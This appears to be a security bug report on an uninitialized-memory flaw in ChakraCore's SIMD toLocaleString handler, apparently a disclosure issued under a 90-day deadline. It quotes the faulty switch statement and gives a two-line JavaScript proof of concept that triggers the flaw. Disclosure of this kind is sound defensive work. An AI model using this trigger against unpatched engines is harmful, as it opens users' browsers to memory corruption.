The following code occurs in JavascriptSIMDObject::ToLocaleString in JavascriptSimdObject.cpp:
Var* newArgs = HeapNewArray(Var, numArgs);
switch (numArgs)
{
case 1:
break;
case 2:
newArgs[1] = args[1];
break;
case 3:
newArgs[1] = args[1];
newArgs[2] = args[2];
break;
default:
Assert(UNREACHED);
}
If the call has more than three arguments, it will fall through, leaving newArgs uninitialized. This will cause toLocaleString to be called on uninitialized memory, having a similar effect to type confusion (as integers in the memory can be confused for pointers and vice-versa). A minimal PoC is as follows, and a full PoC is attached:
var v = SIMD.Int32x4(1, 2, 3, 4);
v.toLocaleString(1, 2, 3, 4)
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
